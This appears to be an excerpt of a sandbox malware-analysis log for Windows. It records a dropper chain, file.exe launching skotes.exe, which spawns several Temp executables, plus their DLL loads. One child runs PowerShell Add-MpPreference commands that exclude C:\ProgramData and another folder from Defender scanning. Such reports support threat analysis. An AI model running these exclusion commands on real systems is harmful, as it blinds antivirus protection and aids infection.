Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe "C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Process created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe "C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe "C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe"
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe "C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe "C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe "C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe "C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe "C:\Users\user\AppData\Local\Temp\1018511001\631c5638f7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Process created: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe "C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Process created: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe "C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ibrmuebu"
Source: C:\Users\user\AppData\Local\Temp\1018510001\0cf121b643.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: mscorjit.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018506001\915c60055b.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018507001\cf4412d54a.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018508001\f3c1a61157.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1018509001\e0c841723d.exe	Section loaded: profapi.dll
